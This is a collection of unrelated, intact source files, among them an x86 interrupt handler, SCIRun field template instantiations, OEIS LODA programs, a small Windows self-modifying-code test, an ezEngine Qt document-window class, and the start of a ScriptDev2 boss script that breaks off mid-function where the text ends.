tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 90
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 91
tilecoll FLOOR, FLOOR, WALL, WALL ; 92
tilecoll FLOOR, FLOOR, WALL, WALL ; 93
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 94
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 95
|
; interrupt.asm
;
; Created on: Aug 28, 2011
; Author: anizzomc
%include "arch/macros.m"
GLOBAL keyboardHandler
GLOBAL timerTickHandler
GLOBAL setPic1Mask
EXTERN foo
EXTERN keyIn
SECTION .text
keyboardHandler:
pushaq
mov rax, 0
in al, 60h ;Get keypressed
;Argument already is int RAX
mov rdi, 0
mov rdi, rax
call keyIn
mov al, 20h ;Clear pick
out 20h, al
popaq
iretq
timerTickHandler:
pushaq
call foo
mov al, 20h ;clear pic
out 20h, al
popaq
iretq
setPic1Mask:
push rbp
mov rbp, rsp
mov rax, rdi
out 21h, al
mov rsp, rbp
pop rbp
ret
|
/*
For more information, please see: http://software.sci.utah.edu
The MIT License
Copyright (c) 2015 Scientific Computing and Imaging Institute,
University of Utah.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
*/
/// @todo Documentation Core/Datatypes/Legacy/Field/cd_templates_fields_3a.cc
#include <Core/Persistent/PersistentSTL.h>
#include <Core/GeometryPrimitives/Tensor.h>
#include <Core/GeometryPrimitives/Vector.h>
#include <Core/Basis/NoData.h>
#include <Core/Basis/Constant.h>
#include <Core/Basis/TetQuadraticLgn.h>
#include <Core/Basis/HexTriquadraticLgn.h>
#include <Core/Basis/PrismLinearLgn.h>
#include <Core/Datatypes/Legacy/Field/PrismVolMesh.h>
#include <Core/Datatypes/Legacy/Field/TetVolMesh.h>
#include <Core/Datatypes/Legacy/Field/LatVolMesh.h>
#include <Core/Datatypes/Legacy/Field/GenericField.h>
using namespace SCIRun;
using namespace SCIRun::Core::Geometry;
using namespace SCIRun::Core::Basis;
//NoData
typedef NoDataBasis<double> NDBasis;
//Constant
typedef ConstantBasis<Tensor> CFDTensorBasis;
typedef ConstantBasis<Vector> CFDVectorBasis;
typedef ConstantBasis<double> CFDdoubleBasis;
typedef ConstantBasis<float> CFDfloatBasis;
typedef ConstantBasis<complex> CFDcomplexBasis;
typedef ConstantBasis<int> CFDintBasis;
typedef ConstantBasis<long long> CFDlonglongBasis;
typedef ConstantBasis<short> CFDshortBasis;
typedef ConstantBasis<char> CFDcharBasis;
typedef ConstantBasis<unsigned int> CFDuintBasis;
typedef ConstantBasis<unsigned short> CFDushortBasis;
typedef ConstantBasis<unsigned char> CFDucharBasis;
typedef ConstantBasis<unsigned long> CFDulongBasis;
//Linear
typedef PrismLinearLgn<Tensor> PFDTensorBasis;
typedef PrismLinearLgn<Vector> PFDVectorBasis;
typedef PrismLinearLgn<double> PFDdoubleBasis;
typedef PrismLinearLgn<float> PFDfloatBasis;
typedef PrismLinearLgn<complex> PFDcomplexBasis;
typedef PrismLinearLgn<int> PFDintBasis;
typedef PrismLinearLgn<long long> PFDlonglongBasis;
typedef PrismLinearLgn<short> PFDshortBasis;
typedef PrismLinearLgn<char> PFDcharBasis;
typedef PrismLinearLgn<unsigned int> PFDuintBasis;
typedef PrismLinearLgn<unsigned short> PFDushortBasis;
typedef PrismLinearLgn<unsigned char> PFDucharBasis;
typedef PrismLinearLgn<unsigned long> PFDulongBasis;
typedef PrismVolMesh<PrismLinearLgn<Point> > PVMesh;
PersistentTypeID backwards_compat_PVM("PrismVolMesh", "Mesh", PVMesh::maker, PVMesh::maker);
namespace SCIRun {
template class PrismVolMesh<PrismLinearLgn<Point> >;
//NoData
template class GenericField<PVMesh, NDBasis, std::vector<double> >;
//Constant
template class GenericField<PVMesh, CFDTensorBasis, std::vector<Tensor> >;
template class GenericField<PVMesh, CFDVectorBasis, std::vector<Vector> >;
template class GenericField<PVMesh, CFDdoubleBasis, std::vector<double> >;
template class GenericField<PVMesh, CFDfloatBasis, std::vector<float> >;
template class GenericField<PVMesh, CFDcomplexBasis, std::vector<complex> >;
template class GenericField<PVMesh, CFDintBasis, std::vector<int> >;
template class GenericField<PVMesh, CFDlonglongBasis,std::vector<long long> >;
template class GenericField<PVMesh, CFDshortBasis, std::vector<short> >;
template class GenericField<PVMesh, CFDcharBasis, std::vector<char> >;
template class GenericField<PVMesh, CFDuintBasis, std::vector<unsigned int> >;
template class GenericField<PVMesh, CFDushortBasis, std::vector<unsigned short> >;
template class GenericField<PVMesh, CFDucharBasis, std::vector<unsigned char> >;
template class GenericField<PVMesh, CFDulongBasis, std::vector<unsigned long> >;
//Linear
template class GenericField<PVMesh, PFDTensorBasis, std::vector<Tensor> >;
template class GenericField<PVMesh, PFDVectorBasis, std::vector<Vector> >;
template class GenericField<PVMesh, PFDdoubleBasis, std::vector<double> >;
template class GenericField<PVMesh, PFDfloatBasis, std::vector<float> >;
template class GenericField<PVMesh, PFDcomplexBasis, std::vector<complex> >;
template class GenericField<PVMesh, PFDintBasis, std::vector<int> >;
template class GenericField<PVMesh, PFDlonglongBasis,std::vector<long long> >;
template class GenericField<PVMesh, PFDshortBasis, std::vector<short> >;
template class GenericField<PVMesh, PFDcharBasis, std::vector<char> >;
template class GenericField<PVMesh, PFDuintBasis, std::vector<unsigned int> >;
template class GenericField<PVMesh, PFDushortBasis, std::vector<unsigned short> >;
template class GenericField<PVMesh, PFDucharBasis, std::vector<unsigned char> >;
template class GenericField<PVMesh, PFDulongBasis, std::vector<unsigned long> >;
}
PersistentTypeID
backwards_compat_PVFT("PrismVolField<Tensor>", "Field",
GenericField<PVMesh, PFDTensorBasis,
std::vector<Tensor> >::maker,
GenericField<PVMesh, CFDTensorBasis,
std::vector<Tensor> >::maker);
PersistentTypeID
backwards_compat_PVFV("PrismVolField<Vector>", "Field",
GenericField<PVMesh, PFDVectorBasis,
std::vector<Vector> >::maker,
GenericField<PVMesh, CFDVectorBasis,
std::vector<Vector> >::maker);
PersistentTypeID
backwards_compat_PVFd("PrismVolField<double>", "Field",
GenericField<PVMesh, PFDdoubleBasis,
std::vector<double> >::maker,
GenericField<PVMesh, CFDdoubleBasis,
std::vector<double> >::maker,
GenericField<PVMesh, NDBasis,
std::vector<double> >::maker);
PersistentTypeID
backwards_compat_PVFf("PrismVolField<float>", "Field",
GenericField<PVMesh, PFDfloatBasis,
std::vector<float> >::maker,
GenericField<PVMesh, CFDfloatBasis,
std::vector<float> >::maker);
PersistentTypeID
backwards_compat_PVFco("PrismVolField<complex>", "Field",
GenericField<PVMesh, PFDcomplexBasis,
std::vector<complex> >::maker,
GenericField<PVMesh, CFDcomplexBasis,
std::vector<complex> >::maker);
PersistentTypeID
backwards_compat_PVFi("PrismVolField<int>", "Field",
GenericField<PVMesh, PFDintBasis,
std::vector<int> >::maker,
GenericField<PVMesh, CFDintBasis,
std::vector<int> >::maker);
PersistentTypeID
backwards_compat_PVFs("PrismVolField<short>", "Field",
GenericField<PVMesh, PFDshortBasis,
std::vector<short> >::maker,
GenericField<PVMesh, CFDshortBasis,
std::vector<short> >::maker);
PersistentTypeID
backwards_compat_PVFc("PrismVolField<char>", "Field",
GenericField<PVMesh, PFDcharBasis,
std::vector<char> >::maker,
GenericField<PVMesh, CFDcharBasis,
std::vector<char> >::maker);
PersistentTypeID
backwards_compat_PVFui("PrismVolField<unsigned_int>", "Field",
GenericField<PVMesh, PFDuintBasis,
std::vector<unsigned int> >::maker,
GenericField<PVMesh, CFDuintBasis,
std::vector<unsigned int> >::maker);
PersistentTypeID
backwards_compat_PVFus("PrismVolField<unsigned_short>", "Field",
GenericField<PVMesh, PFDushortBasis,
std::vector<unsigned short> >::maker,
GenericField<PVMesh, CFDushortBasis,
std::vector<unsigned short> >::maker);
PersistentTypeID
backwards_compat_PVFuc("PrismVolField<unsigned_char>", "Field",
GenericField<PVMesh, PFDucharBasis,
std::vector<unsigned char> >::maker,
GenericField<PVMesh, CFDucharBasis,
std::vector<unsigned char> >::maker);
PersistentTypeID
backwards_compat_PVFul("PrismVolField<unsigned_long>", "Field",
GenericField<PVMesh, PFDulongBasis,
std::vector<unsigned long> >::maker,
GenericField<PVMesh, CFDulongBasis,
std::vector<unsigned long> >::maker);
|
; A295318: Sum of the products of the smaller and larger parts of the partitions of n into two distinct parts with the smaller part even.
; 0,0,0,0,6,8,10,12,34,40,46,52,100,112,124,136,220,240,260,280,410,440,470,500,686,728,770,812,1064,1120,1176,1232,1560,1632,1704,1776,2190,2280,2370,2460,2970,3080,3190,3300,3916,4048,4180,4312,5044,5200,5356,5512,6370,6552,6734,6916,7910,8120,8330,8540,9680,9920,10160,10400,11696,11968,12240,12512,13974,14280,14586,14892,16530,16872,17214,17556,19380,19760,20140,20520,22540,22960,23380,23800,26026,26488,26950,27412,29854,30360,30866,31372,34040,34592,35144,35696,38600,39200,39800,40400,43550,44200,44850,45500,48906,49608,50310,51012,54684,55440,56196,56952,60900,61712,62524,63336,67570,68440,69310,70180,74710,75640,76570,77500,82336,83328,84320,85312,90464,91520,92576,93632,99110,100232,101354,102476,108290,109480,110670,111860,118020,119280,120540,121800,128316,129648,130980,132312,139194,140600,142006,143412,150670,152152,153634,155116,162760,164320,165880,167440,175480,177120,178760,180400,188846,190568,192290,194012,202874,204680,206486,208292,217580,219472,221364,223256,232980,234960,236940,238920,249090,251160,253230,255300,265926,268088,270250,272412,283504,285760,288016,290272,301840,304192,306544,308896,320950,323400,325850,328300,340850,343400,345950,348500,361556,364208,366860,369512,383084,385840,388596,391352,405450,408312,411174,414036,428670,431640,434610,437580,452760,455840,458920,462000,477736,480928,484120,487312,503614,506920,510226,513532,530410,533832,537254,540676,558140,561680,565220,568760,586820,590480,594140,597800,616466,620248,624030,627812,647094,651000
sub $0,1
lpb $0,1
add $2,$0
sub $0,4
add $1,$2
lpe
mul $1,2
|
; A129831: Alternating sum of double factorials: n!! - (n-1)!! + (n-2)!! - ... 1!!.
; 1,1,2,6,9,39,66,318,627,3213,7182,38898,96237,548883,1478142,8843778,25615647,160178913,494550162,3221341038,10527969537,71221636863,245012506362,1716978047238,6188875533387,44822878860213
mov $2,$0
add $2,1
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
mov $11,$0
mov $13,2
lpb $13
mov $0,$11
sub $13,1
add $0,$13
sub $0,1
mov $7,$0
mov $9,2
lpb $9
mov $0,$7
sub $9,1
add $0,$9
mov $4,1
trn $4,$3
lpb $0
mov $3,$4
add $3,6
mul $3,$0
trn $0,2
trn $3,$4
add $4,$3
lpe
mov $5,$4
mov $10,$9
lpb $10
mov $8,$5
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$5
lpe
mov $5,$8
mov $14,$13
lpb $14
mov $12,$5
sub $14,1
lpe
lpe
lpb $11
mov $11,0
sub $12,$5
lpe
mov $5,$12
div $5,6
add $1,$5
lpe
|
EXTERN VirtualProtect: PROC
.CODE
TestSmc PROC
sub rsp, 40
; call VirtualProtect to grant us write access to the SMC region
; BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
lea r9, [rsp+48]
mov r8d, 64
mov edx, (SMC_REGION_END-SMC_REGION_START)
lea rcx, SMC_REGION_START
call VirtualProtect
; replace the SMC region with "mov al, 1"
mov word ptr [SMC_REGION_START], 001b0h
; on non-x86 platforms this should be followed by a call to FlushInstructionCache,
; but this is not necessary on x86.
SMC_REGION_START:
xor al, al
SMC_REGION_END:
add rsp, 40
ret
TestSmc ENDP
END
|
; void *b_vector_max_size(b_vector_t *v)
SECTION code_clib
SECTION code_adt_b_vector
PUBLIC b_vector_max_size
EXTERN asm_b_vector_max_size
defc b_vector_max_size = asm_b_vector_max_size
|
#pragma once
#include "IFeatureManipulator.hpp"
class DefaultFeatureManipulator : public IFeatureManipulator
{
public:
DefaultFeatureManipulator(FeaturePtr feature);
void kick(CreaturePtr creature, MapPtr current_map, TilePtr feature_tile, const Coordinate& feature_coord, FeaturePtr feature) override;
bool handle(TilePtr tile, CreaturePtr creature) override;
bool drop(CreaturePtr dropping_creature, TilePtr tile, ItemPtr item) override;
};
|
#include <GuiFoundation/GuiFoundationPCH.h>
#include <Foundation/Logging/Log.h>
#include <GuiFoundation/Action/ActionMapManager.h>
#include <GuiFoundation/Action/DocumentActions.h>
#include <GuiFoundation/ActionViews/MenuActionMapView.moc.h>
#include <GuiFoundation/ActionViews/MenuBarActionMapView.moc.h>
#include <GuiFoundation/ContainerWindow/ContainerWindow.moc.h>
#include <GuiFoundation/DocumentWindow/DocumentWindow.moc.h>
#include <GuiFoundation/UIServices/UIServices.moc.h>
#include <QDockWidget>
#include <QLabel>
#include <QMessageBox>
#include <QSettings>
#include <QStatusBar>
#include <QTimer>
#include <ToolsFoundation/Document/Document.h>
ezEvent<const ezQtDocumentWindowEvent&> ezQtDocumentWindow::s_Events;
ezDynamicArray<ezQtDocumentWindow*> ezQtDocumentWindow::s_AllDocumentWindows;
bool ezQtDocumentWindow::s_bAllowRestoreWindowLayout = true;
void ezQtDocumentWindow::Constructor()
{
s_AllDocumentWindows.PushBack(this);
// status bar
{
connect(statusBar(), &QStatusBar::messageChanged, this, &ezQtDocumentWindow::OnStatusBarMessageChanged);
m_pPermanentDocumentStatusText = new QLabel();
statusBar()->addWidget(m_pPermanentDocumentStatusText, 1);
m_pPermanentGlobalStatusButton = new QToolButton();
m_pPermanentGlobalStatusButton->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);
m_pPermanentGlobalStatusButton->setVisible(false);
statusBar()->addPermanentWidget(m_pPermanentGlobalStatusButton, 0);
EZ_VERIFY(connect(m_pPermanentGlobalStatusButton, &QToolButton::clicked, this, &ezQtDocumentWindow::OnPermanentGlobalStatusClicked), "");
}
setDockNestingEnabled(true);
ezQtMenuBarActionMapView* pMenuBar = new ezQtMenuBarActionMapView(this);
setMenuBar(pMenuBar);
ezInt32 iContainerWindowIndex = ezToolsProject::SuggestContainerWindow(m_pDocument);
ezQtContainerWindow* pContainer = ezQtContainerWindow::GetContainerWindow();
pContainer->AddDocumentWindow(this);
ezQtUiServices::s_Events.AddEventHandler(ezMakeDelegate(&ezQtDocumentWindow::UIServicesEventHandler, this));
}
ezQtDocumentWindow::ezQtDocumentWindow(ezDocument* pDocument)
{
m_pDocument = pDocument;
m_sUniqueName = m_pDocument->GetDocumentPath();
setObjectName(GetUniqueName());
ezDocumentManager::s_Events.AddEventHandler(ezMakeDelegate(&ezQtDocumentWindow::DocumentManagerEventHandler, this));
pDocument->m_EventsOne.AddEventHandler(ezMakeDelegate(&ezQtDocumentWindow::DocumentEventHandler, this));
Constructor();
}
ezQtDocumentWindow::ezQtDocumentWindow(const char* szUniqueName)
{
m_pDocument = nullptr;
m_sUniqueName = szUniqueName;
setObjectName(GetUniqueName());
Constructor();
}
ezQtDocumentWindow::~ezQtDocumentWindow()
{
ezQtUiServices::s_Events.RemoveEventHandler(ezMakeDelegate(&ezQtDocumentWindow::UIServicesEventHandler, this));
s_AllDocumentWindows.RemoveAndSwap(this);
if (m_pDocument)
{
m_pDocument->m_EventsOne.RemoveEventHandler(ezMakeDelegate(&ezQtDocumentWindow::DocumentEventHandler, this));
ezDocumentManager::s_Events.RemoveEventHandler(ezMakeDelegate(&ezQtDocumentWindow::DocumentManagerEventHandler, this));
}
}
void ezQtDocumentWindow::SetVisibleInContainer(bool bVisible)
{
if (m_bIsVisibleInContainer == bVisible)
return;
m_bIsVisibleInContainer = bVisible;
InternalVisibleInContainerChanged(bVisible);
if (m_bIsVisibleInContainer)
{
// if the window is now visible, immediately do a redraw and trigger the timers
SlotRedraw();
}
}
void ezQtDocumentWindow::SetTargetFramerate(ezInt16 iTargetFPS)
{
if (m_iTargetFramerate == iTargetFPS)
return;
m_iTargetFramerate = iTargetFPS;
if (m_iTargetFramerate != 0)
SlotRedraw();
}
void ezQtDocumentWindow::TriggerRedraw(ezTime LastFrameTime)
{
if (m_bRedrawIsTriggered)
return;
// to not set up the timer while we are drawing, this could lead to recursive drawing, which will fail
if (m_bIsDrawingATM)
{
// just store that we got a redraw request while drawing
m_bTriggerRedrawQueued = true;
return;
}
m_bRedrawIsTriggered = true;
m_bTriggerRedrawQueued = false;
ezTime delay = ezTime::Milliseconds(1000.0f / 25.0f);
int iTargetFramerate = m_iTargetFramerate;
// if the application does not have focus, drastically reduce the update rate to limit CPU draw etc.
if (QApplication::activeWindow() == nullptr)
iTargetFramerate = ezMath::Min(10, m_iTargetFramerate / 4);
if (iTargetFramerate > 0)
delay = ezTime::Milliseconds(1000.0f / iTargetFramerate);
if (iTargetFramerate < 0)
delay.SetZero();
// Subtract the time it took to render the last frame.
delay -= LastFrameTime;
delay = ezMath::Max(delay, ezTime::Zero());
QTimer::singleShot((ezInt32)ezMath::Floor(delay.GetMilliseconds()), this, SLOT(SlotRedraw()));
}
void ezQtDocumentWindow::SlotRedraw()
{
{
ezQtDocumentWindowEvent e;
e.m_Type = ezQtDocumentWindowEvent::Type::BeforeRedraw;
e.m_pWindow = this;
s_Events.Broadcast(e, 1);
}
EZ_ASSERT_DEV(!m_bIsDrawingATM, "Implementation error");
ezTime startTime = ezTime::Now();
m_bRedrawIsTriggered = false;
// if our window is not visible, interrupt the redrawing, and do nothing
if (!m_bIsVisibleInContainer)
return;
m_bIsDrawingATM = true;
InternalRedraw();
m_bIsDrawingATM = false;
// immediately trigger the next redraw, if a constant framerate is desired
if (m_iTargetFramerate != 0 || m_bTriggerRedrawQueued)
{
const ezTime endTime = ezTime::Now();
TriggerRedraw(endTime - startTime);
}
}
void ezQtDocumentWindow::DocumentEventHandler(const ezDocumentEvent& e)
{
switch (e.m_Type)
{
case ezDocumentEvent::Type::ModifiedChanged:
{
ezQtDocumentWindowEvent dwe;
dwe.m_pWindow = this;
dwe.m_Type = ezQtDocumentWindowEvent::Type::WindowDecorationChanged;
s_Events.Broadcast(dwe);
}
break;
case ezDocumentEvent::Type::EnsureVisible:
{
EnsureVisible();
}
break;
case ezDocumentEvent::Type::DocumentStatusMsg:
{
ShowTemporaryStatusBarMsg(e.m_szStatusMsg);
}
break;
default:
break;
}
}
void ezQtDocumentWindow::DocumentManagerEventHandler(const ezDocumentManager::Event& e)
{
switch (e.m_Type)
{
case ezDocumentManager::Event::Type::DocumentClosing:
{
if (e.m_pDocument == m_pDocument)
{
ShutdownDocumentWindow();
return;
}
}
break;
default:
break;
}
}
void ezQtDocumentWindow::UIServicesEventHandler(const ezQtUiServices::Event& e)
{
switch (e.m_Type)
{
case ezQtUiServices::Event::Type::ShowDocumentTemporaryStatusBarText:
ShowTemporaryStatusBarMsg(ezFmt(e.m_sText), e.m_Time);
break;
case ezQtUiServices::Event::Type::ShowDocumentPermanentStatusBarText:
{
if (m_pPermanentGlobalStatusButton)
{
QPalette pal = palette();
switch (e.m_TextType)
{
case ezQtUiServices::Event::Info:
m_pPermanentGlobalStatusButton->setIcon(QIcon(":/GuiFoundation/Icons/Log.png"));
break;
case ezQtUiServices::Event::Warning:
pal.setColor(QPalette::WindowText, QColor(255, 100, 0));
m_pPermanentGlobalStatusButton->setIcon(QIcon(":/GuiFoundation/Icons/Warning16.png"));
break;
case ezQtUiServices::Event::Error:
pal.setColor(QPalette::WindowText, QColor(Qt::red));
m_pPermanentGlobalStatusButton->setIcon(QIcon(":/GuiFoundation/Icons/Error16.png"));
break;
}
m_pPermanentGlobalStatusButton->setPalette(pal);
m_pPermanentGlobalStatusButton->setText(QString::fromUtf8(e.m_sText));
m_pPermanentGlobalStatusButton->setVisible(!m_pPermanentGlobalStatusButton->text().isEmpty());
}
}
break;
default:
break;
}
}
ezString ezQtDocumentWindow::GetDisplayNameShort() const
{
ezStringBuilder s = GetDisplayName();
s = s.GetFileName();
if (m_pDocument && m_pDocument->IsModified())
s.Append('*');
return s;
}
void ezQtDocumentWindow::showEvent(QShowEvent* event)
{
QMainWindow::showEvent(event);
SetVisibleInContainer(true);
}
void ezQtDocumentWindow::hideEvent(QHideEvent* event)
{
QMainWindow::hideEvent(event);
SetVisibleInContainer(false);
}
void ezQtDocumentWindow::FinishWindowCreation()
{
ScheduleRestoreWindowLayout();
}
void ezQtDocumentWindow::ScheduleRestoreWindowLayout()
{
QTimer::singleShot(0, this, SLOT(SlotRestoreLayout()));
}
void ezQtDocumentWindow::SlotRestoreLayout()
{
RestoreWindowLayout();
}
void ezQtDocumentWindow::SaveWindowLayout()
{
// This is a workaround for newer Qt versions (5.13 or so) that seem to change the state of QDockWidgets to "closed" once the parent
// QMainWindow gets the closeEvent, even though they still exist and the QMainWindow is not yet deleted. Previously this function was
// called multiple times, including once after the QMainWindow got its closeEvent, which would then save a corrupted state. Therefore,
// once the parent ezQtContainerWindow gets the closeEvent, we now prevent further saving of the window layout.
if (!m_bAllowSaveWindowLayout)
return;
const bool bMaximized = isMaximized();
if (bMaximized)
showNormal();
ezStringBuilder sGroup;
sGroup.Format("DocumentWnd_{0}", GetWindowLayoutGroupName());
QSettings Settings;
Settings.beginGroup(QString::fromUtf8(sGroup));
{
// All other properties are defined by the outer container window.
Settings.setValue("WindowState", saveState());
}
Settings.endGroup();
}
void ezQtDocumentWindow::RestoreWindowLayout()
{
if (!s_bAllowRestoreWindowLayout)
return;
ezQtScopedUpdatesDisabled _(this);
ezStringBuilder sGroup;
sGroup.Format("DocumentWnd_{0}", GetWindowLayoutGroupName());
{
QSettings Settings;
Settings.beginGroup(QString::fromUtf8(sGroup));
{
restoreState(Settings.value("WindowState", saveState()).toByteArray());
}
Settings.endGroup();
// with certain Qt versions the window state could be saved corrupted
// if that is the case, make sure that non-closable widgets get restored to be visible
// otherwise the user would need to delete the serialized state from the registry
{
for (QDockWidget* dockWidget : findChildren<QDockWidget*>())
{
// not closable means the user can generally not change the visible state -> make sure it is visible
if (!dockWidget->features().testFlag(QDockWidget::DockWidgetClosable) && dockWidget->isHidden())
{
dockWidget->show();
}
}
}
}
statusBar()->clearMessage();
}
void ezQtDocumentWindow::DisableWindowLayoutSaving()
{
m_bAllowSaveWindowLayout = false;
}
ezStatus ezQtDocumentWindow::SaveDocument()
{
if (m_pDocument)
{
{
if (m_pDocument->GetUnknownObjectTypeInstances() > 0)
{
if (ezQtUiServices::MessageBoxQuestion("Warning! This document contained unknown object types that could not be loaded. Saving the "
"document means those objects will get lost permanently.\n\nDo you really want to save this "
"document?",
QMessageBox::StandardButton::Yes | QMessageBox::StandardButton::No, QMessageBox::StandardButton::No) != QMessageBox::StandardButton::Yes)
return ezStatus(EZ_SUCCESS); // failed successfully
}
}
ezStatus res = m_pDocument->SaveDocument();
ezStringBuilder s, s2;
s.Format("Failed to save document:\n'{0}'", m_pDocument->GetDocumentPath());
s2.Format("Successfully saved document:\n'{0}'", m_pDocument->GetDocumentPath());
ezQtUiServices::MessageBoxStatus(res, s, s2);
if (res.m_Result.Failed())
{
ShowTemporaryStatusBarMsg("Failed to save document");
return res;
}
ShowTemporaryStatusBarMsg("Document saved");
}
return ezStatus(EZ_SUCCESS);
}
void ezQtDocumentWindow::ShowTemporaryStatusBarMsg(const ezFormatString& sMsg, ezTime duration)
{
ezStringBuilder tmp;
statusBar()->showMessage(QString::fromUtf8(sMsg.GetText(tmp)), (int)duration.GetMilliseconds());
}
void ezQtDocumentWindow::SetPermanentStatusBarMsg(const ezFormatString& sText)
{
if (!sText.IsEmpty())
{
// clear temporary message
statusBar()->clearMessage();
}
ezStringBuilder tmp;
m_pPermanentDocumentStatusText->setText(QString::fromUtf8(sText.GetText(tmp)));
}
void ezQtDocumentWindow::CreateImageCapture(const char* szOutputPath)
{
EZ_ASSERT_NOT_IMPLEMENTED;
}
bool ezQtDocumentWindow::CanCloseWindow()
{
return InternalCanCloseWindow();
}
bool ezQtDocumentWindow::InternalCanCloseWindow()
{
// I guess this is to remove the focus from other widgets like input boxes, such that they may modify the document.
setFocus();
clearFocus();
if (m_pDocument && m_pDocument->IsModified())
{
QMessageBox::StandardButton res = QMessageBox::question(this, QLatin1String("ezEditor"), QLatin1String("Save before closing?"), QMessageBox::StandardButton::Yes | QMessageBox::StandardButton::No | QMessageBox::StandardButton::Cancel, QMessageBox::StandardButton::Cancel);
if (res == QMessageBox::StandardButton::Cancel)
return false;
if (res == QMessageBox::StandardButton::Yes)
{
ezStatus err = SaveDocument();
if (err.Failed())
{
ezQtUiServices::GetSingleton()->MessageBoxStatus(err, "Saving the scene failed.");
return false;
}
}
}
return true;
}
void ezQtDocumentWindow::CloseDocumentWindow()
{
QMetaObject::invokeMethod(this, "SlotQueuedDelete", Qt::ConnectionType::QueuedConnection);
}
void ezQtDocumentWindow::SlotQueuedDelete()
{
setFocus();
clearFocus();
if (m_pDocument)
{
m_pDocument->GetDocumentManager()->CloseDocument(m_pDocument);
return;
}
else
{
ShutdownDocumentWindow();
}
}
void ezQtDocumentWindow::OnPermanentGlobalStatusClicked(bool)
{
ezQtUiServices::Event e;
e.m_Type = ezQtUiServices::Event::ClickedDocumentPermanentStatusBarText;
ezQtUiServices::GetSingleton()->s_Events.Broadcast(e);
}
void ezQtDocumentWindow::OnStatusBarMessageChanged(const QString& sNewText)
{
QPalette pal = palette();
if (sNewText.startsWith("Error:"))
{
pal.setColor(QPalette::WindowText, QColor(Qt::red));
}
else if (sNewText.startsWith("Warning:"))
{
pal.setColor(QPalette::WindowText, QColor(255, 216, 0));
}
else if (sNewText.startsWith("Note:"))
{
pal.setColor(QPalette::WindowText, QColor(0, 255, 255));
}
statusBar()->setPalette(pal);
}
void ezQtDocumentWindow::ShutdownDocumentWindow()
{
SaveWindowLayout();
InternalCloseDocumentWindow();
ezQtDocumentWindowEvent e;
e.m_pWindow = this;
e.m_Type = ezQtDocumentWindowEvent::Type::WindowClosing;
s_Events.Broadcast(e);
InternalDeleteThis();
e.m_Type = ezQtDocumentWindowEvent::Type::WindowClosed;
s_Events.Broadcast(e);
}
void ezQtDocumentWindow::InternalCloseDocumentWindow() {}
void ezQtDocumentWindow::EnsureVisible()
{
m_pContainerWindow->EnsureVisible(this).IgnoreResult();
}
void ezQtDocumentWindow::RequestWindowTabContextMenu(const QPoint& GlobalPos)
{
ezQtMenuActionMapView menu(nullptr);
ezActionContext context;
context.m_sMapping = "DocumentWindowTabMenu";
context.m_pDocument = GetDocument();
context.m_pWindow = this;
menu.SetActionContext(context);
menu.exec(GlobalPos);
}
ezQtDocumentWindow* ezQtDocumentWindow::FindWindowByDocument(const ezDocument* pDocument)
{
// Sub-documents never have a window, so go to the main document instead
pDocument = pDocument->GetMainDocument();
for (auto pWnd : s_AllDocumentWindows)
{
if (pWnd->GetDocument() == pDocument)
return pWnd;
}
return nullptr;
}
ezQtContainerWindow* ezQtDocumentWindow::GetContainerWindow() const
{
return m_pContainerWindow;
}
ezString ezQtDocumentWindow::GetWindowIcon() const
{
if (GetDocument() != nullptr)
return GetDocument()->GetDocumentTypeDescriptor()->m_sIcon;
return ":/GuiFoundation/EZ-logo.svg";
}
|
/**
* ScriptDev2 is an extension for mangos providing enhanced features for
* area triggers, creatures, game objects, instances, items, and spells beyond
* the default database scripting in mangos.
*
* Copyright (C) 2006-2013 ScriptDev2 <http://www.scriptdev2.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* World of Warcraft, and all World of Warcraft or Warcraft art, images,
* and lore are copyrighted by Blizzard Entertainment, Inc.
*/
/**
* ScriptData
* SDName: Boss_Kurinnaxx
* SD%Complete: 90
* SDComment: Summon Player ability NYI
* SDCategory: Ruins of Ahn'Qiraj
* EndScriptData
*/
#include "precompiled.h"
enum
{
SPELL_TRASH = 3391,
SPELL_WIDE_SLASH = 25814,
SPELL_MORTAL_WOUND = 25646,
SPELL_SANDTRAP = 25648, // summons gameobject 180647
SPELL_ENRAGE = 26527,
SPELL_SUMMON_PLAYER = 26446,
GO_SAND_TRAP = 180647,
};
struct boss_kurinnaxxAI : public ScriptedAI
{
boss_kurinnaxxAI(Creature* pCreature) : ScriptedAI(pCreature) {Reset();}
uint32 m_uiMortalWoundTimer;
uint32 m_uiSandTrapTimer;
uint32 m_uiTrashTimer;
uint32 m_uiWideSlashTimer;
uint32 m_uiTrapTriggerTimer;
bool m_bEnraged;
ObjectGuid m_sandtrapGuid;
void Reset() override
{
m_bEnraged = false;
m_uiMortalWoundTimer = urand(8000, 10000);
